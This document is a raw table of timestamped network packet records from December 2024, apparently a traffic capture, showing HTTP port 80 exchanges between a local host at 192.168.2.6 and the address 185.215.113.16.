Dec 27, 2024 08:50:58.337697983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.337709904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.337892056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.338361979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.338407993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.338422060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.338483095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.338491917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.338526011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.339144945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.339194059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.339207888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.339252949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.377758980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.377789021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.377804995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.377819061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.377846956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.377924919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.377950907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.377985001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.378000975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.378041983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.378041983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.378089905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.378721952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.378787994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.378802061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.378824949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.378870010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.378880978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.379519939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.379549980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.379564047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.379597902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.379597902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.379647017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.380291939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.380342007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.380356073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.380378962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.380418062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.380418062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381107092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381139040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381153107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381189108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.381189108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.381227016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381877899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381936073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381948948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.381985903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.381985903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.382035971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.382663012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.382729053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.382741928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.382803917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.382839918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.383462906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.383522034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.383537054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.383555889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.383605003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.383632898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.384259939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.384279966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.384294033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.384330034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.384380102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.384413958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.385093927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385107040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385118961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385159969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.385168076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385186911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.385829926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385864973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385878086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.385924101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.385924101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.385992050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.386605978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.386663914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.386687040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.386687994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.386740923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.386749029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.387411118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.387450933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.387464046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.387470007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.387515068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.387540102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.388180971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.388226986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.388242006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.388243914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.388328075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.388328075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.388988972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389023066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389035940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389085054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.389132977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389132977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.389811039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389825106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389837980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.389875889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.389950991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.420636892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.475581884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.475619078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.475632906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.475704908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.475748062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.475795984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.476011038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.476025105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.476038933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.476063013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.482486963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482501030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482516050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482567072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.482616901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482640028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.482800961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482857943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.482877970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482892036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.482933998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.482978106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.483611107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.483689070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.483694077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.483732939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.483741999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.483741999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.484397888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.484479904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.484493017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.537430048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.537547112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.537559986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.537587881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.537599087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.537605047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.537611961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.537615061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.537719965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.538336039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.538347960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.538367987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.538398981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.538475990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.538625002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.539107084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.539141893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.539153099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.539222956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.539227962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.539343119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.539900064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.539937973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.539952993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.540045023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.540086031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.540086031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.540776968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.540787935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.540807009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.540836096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.578895092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.578948021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.578953028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.578969002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.578993082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.579010010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.579222918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.579294920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.579301119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.579319000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.579344988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.579360008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.580084085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580106974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580122948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580156088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.580156088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.580189943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580883980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580909014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580924034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.580945969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.580995083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.581006050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.581654072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.581684113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.581695080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.581724882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.581758022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.581773043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.582411051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.582525015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.582535028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.582561016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.582592964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.582608938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.583154917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.583198071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.583208084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.583218098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.583250046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.583333015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.583920002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.583980083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.583995104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.584033012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.584033966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.584100962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.584714890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.584760904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.584770918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.584834099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.584868908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.584913969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.585526943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.585551023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.585565090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.585597992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.585597992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.585633039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.586289883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.586342096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.586361885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.586374044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.586422920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.586422920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.587084055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587138891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587152004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.587155104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587167025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587222099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.587857962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587898970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587913990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.587933064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.588001966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.588088036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.588638067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.588685989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.588696003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.588733912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.588733912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.588890076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.589459896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.589499950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.589519978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.589534998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.589576960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.589663029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.590303898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.590318918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.590336084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.590348959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.590377092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.590462923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.591121912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.591167927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.591185093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.591206074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.591280937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.676990032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677016973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677054882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677083969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.677221060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677236080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677258015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677275896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.677299023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.677325010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.677961111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.678040981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.684158087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684194088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684211016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684242010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.684320927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684415102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.684612036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684623003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684643984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684686899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.684701920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.684763908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.685352087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.685368061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.685383081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.685408115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.685467958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.685725927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.686141014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.686224937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.686536074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.739033937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739048958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739068031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739084005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739111900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.739170074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.739331961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739394903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739406109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739439011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.739443064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.739490986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.740072012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740117073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740127087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740156889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.740216017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740261078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.740864038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740905046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740920067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.740963936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.740998030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.741188049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.741786957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.741821051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.741842985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.741858006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.741861105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.741969109 CET	49752	80	192.168.2.6	185.215.113.16
